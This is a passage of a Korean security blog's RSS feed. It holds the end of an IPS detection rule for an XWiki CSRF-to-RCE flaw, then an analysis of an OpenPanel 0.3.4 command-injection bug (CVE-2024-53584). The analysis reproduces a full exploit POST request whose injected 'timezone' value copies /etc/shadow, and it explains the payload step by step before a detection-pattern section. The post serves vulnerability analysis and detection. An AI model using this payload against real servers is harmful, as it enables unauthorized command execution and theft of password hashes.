&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; msg: &quot;XWiki Admin.RunShellCommand RCE via CSRF (CVE-2023-48292)&quot;;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; flow: to_server, established;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; uricontent:&quot;/xwiki/&quot;; nocase;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; uricontent:&quot;/Admin/RunShellCommand?command=&quot;; nocase;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; distance:0;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; classtype: web-application-attack;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sid: 20250821; rev:1;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;참고&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-48292&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-48292&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/xwiki-contrib/application-admintools/security/advisories/GHSA-8jpr-ff92-hpf9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/xwiki-contrib/application-admintools/security/advisories/GHSA-8jpr-ff92-hpf9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/ADMINTOOL-91&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://jira.xwiki.org/browse/ADMINTOOL-91&lt;/a&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/52105&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.exploit-db.com/exploits/52105&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/Mehran-Seifalinia/CVE-Exploits/tree/main/2023/CVE-2023-48292&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/Mehran-Seifalinia/CVE-Exploits/tree/main/2023/CVE-2023-48292&lt;/a&gt;&lt;/p&gt;</description>
      <category>보안/PoC 분석</category>
      <category>CSRF</category>
      <category>CVE-2023-48292</category>
      <category>POC</category>
      <category>RCE</category>
      <category>xwiki</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/227</guid>
      <comments>https://it-log.tistory.com/227#entry227comment</comments>
      <pubDate>Thu, 21 Aug 2025 00:17:28 +0900</pubDate>
    </item>
    <item>
      <title>OpenPanel에서 발생하는 OS Command Injection(CVE-2024-53584)</title>
      <link>https://it-log.tistory.com/226</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OpenPanel 이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;OpenPanel&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;은 리눅스 기반 서버를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관리할 수 있도록 설계된 오픈소스&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;웹 호스팅 제어판&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;취약점 설명&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;OpenPanel 0.3.4&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/server/timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;경로의 시간을 설정하는 기능에서&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터 내 입력 값을 처리하는 과정에서 입력&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;값이 쉘 명령어로 직접 전달되는 경우가 존재&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자는 이 파라미터에 세미콜론&lt;span&gt;(;)&lt;/span&gt;과 같은 명령 구분자를 사용하여 추가적인 악성 명령어를 삽입할 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이는 서버 시스템에서 임의의 명령어를 실행할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;아래&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;PoC&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;는&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OpenPanel 0.3.4&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;에서&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OS Command Injection&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;취약점을 악용하는&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;HTTP POST&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;요청의 예시&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;html xml&quot; style=&quot;background-color: #f5f2f0; color: #000000; text-align: left;&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;# Exploit Title: OpenPanel 0.3.4 - OS Command Injection 
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53584

POST /server/timezone HTTP/2
Host: demo.openpanel.org:2083
Cookie: minimenu=0; session=eyJfZnJlc2giOmZhbHNlLCJ1c2VyX2lkIjozfQ.ZyyaKQ.HijWQTQ_I0yftDYEqqqqRR_FuRU; theme=dark
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/server/timezone
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

timezone=;cat+/etc/shadow+&amp;gt;+/home/stefan/secret.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약한&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;OpenPanel 0.3.4&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;server/timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;경로를 통해 서버의 시간대를 설정하는 기능을 제공&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 기능은 클라이언트로부터&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;POST&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;요청으로&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;/span&gt;이라는 파라미터를 받음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서버 측 코드에서&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터의 값을 시스템 명령어의 일부로 직접 사용하면서 사용자 입력에 대한 적절한 검증이나 필터링이 이루어 지지 않아 발생&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. OS Command Inject&lt;/span&gt;&lt;span&gt;ion&lt;span style=&quot;color: #1f497d;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;원리&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- UNIX/LINUX&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;계열 시스템에서 쉘 명령어들은 세미콜론&lt;span&gt;(;),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파이프&lt;span&gt;( |, || ),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앰퍼샌드&lt;span&gt;(&amp;nbsp;&amp;amp;, &amp;amp;&amp;amp; )&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;와 같은 문자를 사용하여 여러 명령어를 연결하거나 명령의 출력을 다른 명령의 입력으로 사용할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자는 취약한&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터에 세미콜론&lt;span&gt;(;),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파이프&lt;span&gt;( |, || ),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앰퍼샌드&lt;span&gt;(&amp;nbsp;&amp;amp;, &amp;amp;&amp;amp; )&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;와 같은 문자를 삽입하고 이어서 실행하고자 하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;악성 명령어를 추가할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- timezone=;cat+/etc/shadow+&amp;gt;/home/stefan/secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와 같은 입력이 서버에 전달되면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;서버는 이를&lt;span&gt;&amp;nbsp;timedatectl set-timezone&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #1f497d;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;;cat /etc/shadow &amp;gt; /home/stefan/secret.txt&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와 같은 형태로 해석하여 실행할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격 단계&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;악성 페이로드 생성&lt;span&gt;:&amp;nbsp;&lt;/span&gt;공격자는 시스템 명령어 실행이 가능한 페이로드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;생성&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;PoC&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;에서는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;cat /etc/shadow &amp;gt; /home/stefan/secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령어를 사용하여&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/etc/shadow&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일의 내용을&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/home/stefan/secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일로 복사하는 것을 목표로 함&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- POST&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;요청 전송&lt;span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OpenPanel&lt;/span&gt;의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/server/timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;경로로 조작된&lt;span&gt;&amp;nbsp; timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터를 포함하는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;POST&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;요청을 전송&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령어 실행 및 결과&lt;span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;서버는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;timezone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파라미터 내의 삽입된 명령어를 실행&lt;span&gt;. /etc/shadow&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일의 내용이&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;로 복사되고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자는 다른 방법을 통해&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일에 접근하거나 다른 명령어를 통해 추가적인 공격을 수행할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;시스템 명령어가 실행되는 페이로드&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;timezone=;cat+/etc/shadow+&amp;gt;+/home/stefan/secret.txt&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1) tiemzone= :&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;시간대를 설정하는 파라미터&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2) ; :&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여러 명령어를 한 줄에 나열하여 순차적으로 실행&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;각 명령어는 독립적으로 실행되며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앞 명령어의 성공 여부와 관계없이 다음 명령어가 실행됨&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3)&amp;nbsp;cat+/etc/shadow+&amp;gt;+/home/stefan/secret.txt :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자가 실행하고자 하는 악성 명령어&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-1) cat /etc/shadow :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;시스템의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/etc/shadow&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일 내용을 출력&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 파일은 사용자 계정의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;암호화된 비밀번호와 관련된 정보를 저장하는 파일&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-2)&amp;nbsp;&amp;gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;표준 출력&lt;span&gt;(stdout)&lt;/span&gt;을 파일로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;리다이렉션&lt;span&gt;(&lt;/span&gt;파일에 저장&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-3)&amp;nbsp;/home/stefan/secret.txt : cat /etc/shadow&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령의 출력이 저장될 파일 경로&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결과&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;PoC&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;코드 성공&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;시&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격 대상 서버의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;/home/stefan/secret.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일에&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/etc/shadow&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일의 내용이 복사되며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자는 이후 이 파일을 다른 취약점을 통해 다운로드하거나&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;후속 공격을 위한 정보를 얻는 데 사용할 수 있음.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이는 서버의 민감한 정보 유출로 이어질 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;더 나아가 시스템 변조 및 제어로 발전할 수 있음.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;영향 받는 버전&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약 버전&lt;span&gt;: 0.3.4&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;완화 버전&lt;span&gt;: 0.3.5&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;탐지 패턴 예시&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 변경될 수 있으며, 장비 부하에 관계없이 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;다양한 패턴을 탐지하기 위해&lt;span&gt; 제작함.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;1.&amp;nbsp;OS Command Injection&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;탐지&lt;/span&gt;&lt;/p&gt;
